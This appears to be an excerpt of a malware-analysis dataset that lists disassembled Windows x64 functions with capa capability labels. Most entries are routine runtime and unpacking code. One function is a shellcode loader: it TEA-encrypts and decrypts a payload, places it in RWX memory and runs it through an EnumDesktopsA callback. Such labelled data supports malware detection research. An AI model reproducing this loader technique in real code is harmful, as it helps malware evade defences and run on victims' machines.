joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008cf18
Capabilities:
Allocate thread local storage

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
lea r9, str.FlsAlloc
xor ecx, ecx
lea r8, [0x14018dea8]
lea rdx, str.FlsAlloc
call fcn.14008ca94
mov rbx, rax
test rax, rax
je 0x14008cf58
mov rcx, rax
call fcn.14008a760
mov rcx, rdi
call rbx
jmp 0x14008cf5e
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsAlloc]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14008cfc0
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
lea r9, str.FlsGetValue
mov ecx, 2
lea r8, [0x14018ded0]
lea rdx, str.FlsGetValue
call fcn.14008ca94
mov rdi, rax
test rax, rax
je 0x14008d001
mov rcx, rax
call fcn.14008a760
mov ecx, ebx
call rdi
jmp 0x14008d009
mov ecx, ebx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsGetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14008d014
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, str.FlsSetValue
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x14018dee8]
call fcn.14008ca94
mov rsi, rax
test rax, rax
je 0x14008d060
mov rcx, rax
call fcn.14008a760
mov rdx, rbx
mov ecx, edi
call rsi
jmp 0x14008d06b
mov rdx, rbx
mov ecx, edi
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400ce7a0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400ce587
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleW]
test rax, rax
je 0x1400ce587
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ce587
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ce587
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ce587
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ce587
cmp dword [rcx + 0xf8], 0
je 0x1400ce587
mov ecx, ebx
call fcn.1400ce6b8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400ce300
cmp dword [rbp + 0x20], 0
je 0x1400ce5d4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400ce5dc
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400ce520

Function at 0x1400d7104
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
test eax, eax
jne 0x1400d7124
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, eax
call fcn.1400970b4
or eax, 0xffffffff
jmp 0x1400d7126
xor eax, eax
add rsp, 0x28
ret
Function at 0x140750058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1407501df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140750089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14075006f
add dl, dl
jne 0x140750096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407500f6
xor eax, eax
add dl, dl
jne 0x1407500a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407501ad
add dl, dl
jne 0x1407500b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407500c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407500d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407500dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407500ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14075007e
mov eax, 1
add dl, dl
jne 0x140750106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140750113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407500fb
sub eax, ebx
mov ebx, 1
jne 0x14075014c
mov ecx, 1
add dl, dl
jne 0x14075012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14075013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140750123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14075007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140750168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140750175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14075015d
cmp eax, 0x7d00
jae 0x14075019b
cmp eax, 0x500
jb 0x140750196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14075007e
cmp eax, 0x7f
ja 0x14075019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14075007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407501d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14075007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000116c
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0xf]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0xf
jb 0x140001172
mov rax, rcx
ret

Function at 0x140001188
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0xa]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0xa
jb 0x14000118e
mov rax, rcx
ret
Function at 0x140001bc0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0xe]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0xe
jb 0x140001bc6
mov rax, rcx
ret

Function at 0x140001bdc
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x12]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0x12
jb 0x140001be2
mov rax, rcx
ret

Function at 0x140001bf8
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x11]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0x11
jb 0x140001bfe
mov rax, rcx
ret

Function at 0x140001c14
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x10]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0x10
jb 0x140001c1a
mov rax, rcx
ret

Function at 0x140001c30
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x15]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0x15
jb 0x140001c36
mov rax, rcx
ret

Function at 0x140001c4c
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x14]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0x14
jb 0x140001c52
mov rax, rcx
ret

Function at 0x140001c68
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 9]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 9
jb 0x140001c6e
mov rax, rcx
ret

Function at 0x140001c84
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0xc]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0xc
jb 0x140001c8a
mov rax, rcx
ret

Function at 0x140001ca0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0xd]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 0xd
jb 0x140001ca6
mov rax, rcx
ret

Function at 0x140001cbc
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x12]
inc r8d
xor al, byte [rdx]
movsx eax, al
mov word [rdx], ax
lea rdx, [rdx + 2]
cmp r8d, 9
jb 0x140001cc2
mov rax, rcx
ret

Function at 0x140001ce0
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 2]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 2
jb 0x140001ce6
mov rax, rcx
ret
Function at 0x1400033bc
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 5]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 5
jb 0x1400033c2
mov rax, rcx
ret

Function at 0x1400033d8
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x30]
inc r8d
xor al, byte [rdx]
movsx eax, al
mov word [rdx], ax
lea rdx, [rdx + 2]
cmp r8d, 0x18
jb 0x1400033de
mov rax, rcx
ret
Function at 0x140167eb0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140167ebd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140167ecd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140167eb5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140167ee5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140167ed2
sub eax, 3
jb 0x140167eff
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140167f36
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140167f26
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140167f24
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140167f13
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140167e72
jmp 0x140167ebd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe7e00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140167f86
cmp rsi, rcx
jae 0x140167f8e
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140167f6d
cmp al, 0x8f
ja 0x140167f6d
cmp byte [rsi - 2], 0xf
je 0x140167f73
sub al, 0xe8
cmp al, 1
ja 0x140167f57
cmp rsi, rcx
jae 0x140167f8e
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140167f5d
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140167f8e
lodsb al, byte [rsi]
jmp 0x140167f6d
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x164000]
mov eax, dword [rdi]
or eax, eax
je 0x140167feb
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1908dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140167f9b
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140167fe5
mov qword [rbx], rax
add rbx, 8
jmp 0x140167fbb
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140168025
cmp al, 0xef
ja 0x140168017
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140167ff7
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140168006
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.1401680a4], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.1401680a4
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140168094
sub rsp, 0xffffffffffffff80
jmp 0x140001125
Function at 0x1400017f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007570
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007570
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001860
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0b4]
mov rbx, rcx
test esi, esi
jle 0x140001990
mov rax, qword [0x14000d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001935
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001890
mov rcx, rbx
call fcn.1400022b0
mov rdi, rax
test rax, rax
je 0x1400019b2
mov rax, qword [0x14000d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400023f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001997
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000192e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001940
add dword [0x14000d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000192e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400017f0
nop dword [rax]
xor esi, esi
jmp 0x1400018b8
mov rax, qword [0x14000d0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400017f0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400017f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d100]
test rbx, rbx
je 0x140001f7c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001f73
test rsi, rsi
je 0x140001f73
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f58
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400022b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a8c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000232d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002324
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022d0
add rax, 0x28
cmp rax, r9
jne 0x140002310
xor eax, eax
ret

Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a8c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002358
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000234f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400023f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a8c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000240f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002418
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007c30
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push rdi
push rsi
push rbx
mov r8d, dword [rcx]
mov esi, dword [rdx + 8]
mov r11d, dword [rdx + 0xc]
mov r10d, dword [rdx]
mov r9d, dword [rdx + 4]
mov edx, 0xe3779b90
mov rbx, rcx
mov ecx, dword [rcx + 4]
nop
mov eax, r8d
mov edi, r8d
shl eax, 4
shr edi, 5
add edi, r11d
add eax, esi
xor eax, edi
lea edi, [r8 + rdx]
xor eax, edi
sub ecx, eax
mov eax, ecx
mov edi, ecx
shl eax, 4
shr edi, 5
add edi, r9d
add eax, r10d
xor eax, edi
lea edi, [rcx + rdx]
xor eax, edi
sub r8d, eax
add edx, 0x61c88647
jne 0x140007c50
mov dword [rbx], r8d
mov dword [rbx + 4], ecx
pop rbx
pop rsi
pop rdi
ret

Function at 0x140007d90
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push rdi
push rsi
push rbx
mov r8d, dword [rcx]
mov esi, dword [rdx]
mov r11d, dword [rdx + 4]
mov r10d, dword [rdx + 8]
mov r9d, dword [rdx + 0xc]
xor edx, edx
mov rbx, rcx
mov ecx, dword [rcx + 4]
nop dword [rax]
mov eax, ecx
mov edi, ecx
sub edx, 0x61c88647
shl eax, 4
shr edi, 5
add edi, r11d
add eax, esi
xor eax, edi
lea edi, [rdx + rcx]
xor eax, edi
add r8d, eax
mov eax, r8d
mov edi, r8d
shl eax, 4
shr edi, 5
add edi, r9d
add eax, r10d
xor eax, edi
lea edi, [rdx + r8]
xor eax, edi
add ecx, eax
cmp edx, 0xe3779b90
jne 0x140007db0
mov dword [rbx], r8d
mov dword [rbx + 4], ecx
pop rbx
pop rsi
pop rdi
ret
Function at 0x140007f40
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x168
lea rbp, [rsp + 0x80]
lea rsi, [0x14000a050]
call fcn.1400015e0
lea rdi, [rbp - 0x60]
mov ecx, 0x27
sub rsp, 0x140
rep movsq qword [rdi], qword [rsi]
lea r12, [rsp + 0x20]
lea rbx, [rbp - 0x60]
mov rdx, r12
movzx eax, word [rsi]
lea rsi, [rbp - 0x60]
mov word [rdi], ax
lea rdi, [rsp + 0x28]
movabs rax, 0x9090909090909090
sub rdx, rdi
mov qword [rsp + 0x20], rax
lea ecx, [rdx + 0x140]
mov qword [rsp + 0x158], rax
sub rsi, rdx
shr ecx, 3
rep stosq qword [rdi], rax
lea ecx, [rdx + 0x13a]
lea rdi, [rsp + 0x28]
shr ecx, 3
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0xd2]
mov qword [rsp + 0x152], rax
rep movsq qword [rdi], qword [rsi]
lea rcx, str.original_shellcode:
lea rsi, [rbp + 0xda]
lea rdi, str._02x
call fcn.140007ef0
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, rdi
add rbx, 1
call fcn.140007ef0
cmp rbx, rsi
jne 0x140008008
lea r14, [0x14000a01b]
mov rbx, r12
lea r15, [0x1400090e0]
mov rsi, r12
mov rcx, r14
lea r13, [r12 + 0x140]
call fcn.140007ef0
mov rcx, rsi
mov rdx, r15
add rsi, 8
call fcn.140007d90
cmp rsi, r13
jne 0x140008040
lea rcx, str.encrypted_shellcode:
mov rsi, r12
call fcn.140007ef0
nop dword [rax + rax]
movzx edx, byte [rsi]
mov rcx, rdi
add rsi, 1
call fcn.140007ef0
cmp rsi, r13
jne 0x140008068
mov rcx, r14
mov rsi, r12
call fcn.140007ef0
nop word [rax + rax]
mov rcx, rsi
mov rdx, r15
add rsi, 8
call fcn.140007c30
cmp rsi, r13
jne 0x140008090
lea rcx, str.decrypted_shellcode:
lea rsi, [r12 + 0x13a]
call fcn.140007ef0
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, rdi
add rbx, 1
call fcn.140007ef0
cmp rsi, rbx
jne 0x1400080c0
mov rcx, r14
call fcn.140007ef0
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x1000
mov edx, 0x13a
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, r12
mov r8d, 0x13a
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memmove
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140002312
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x140002331
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140016460

Function at 0x140004f77
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov qword [rsp + 0x28], rdx
mov rsi, rcx
mov ecx, 2
call qword [fcn.140015e90]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov edx, 1
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.140016460

Function at 0x140004fb6
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
cmp qword [0x1415f80f0], 0
jne 0x140004fce
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.140004f77
lea rsi, [rsp + 0x20]
mov rdx, rcx
mov rcx, rsi
call fcn.140004ef0
mov rbx, qword [rsp + 0x28]
mov rcx, rsi
call qword [0x1415f80f0]
test rbx, rbx
je 0x140004fff
test byte [rbx + 7], 0x40
jne 0x140004fff
mov rcx, rbx
call fcn.14000339c
lea rcx, [0x140017320]
call fcn.140010c70
cmp byte [rax], 0
je 0x140005037
mov byte [rax], 0
lea rcx, [0x140017220]
call fcn.140010c70
xor r8d, r8d
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax + 0x38]
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.140003901
add rsp, 0x38
pop rbx
pop rsi
ret

Function at 0x1400053be
Capabilities:
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
lea r12, [0x1415f80c0]
xor ebx, ebx
lea r14, [0x140017320]
mov rsi, rcx
mov rdi, rdx
lea r13, [rsp + 0x20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbp, qword [fcn.140015e90]
mov ecx, 1
cmp rbx, rdi
jl 0x140005444
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x1400192fb]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rbp
mov rcx, rax
call fcn.140016460
mov rcx, r12
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rbp
xor r8d, r8d
mov rdx, r13
mov rcx, rax
mov rax, rbx
shl rax, 4
movups xmm0, xmmword [rsi + rax]
movups xmmword [rsp + 0x20], xmm0
call fcn.140005298
mov rcx, r14
call fcn.140010c70
cmp byte [rax], 0
jne 0x140005476
inc rbx
jmp 0x1400053f7
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret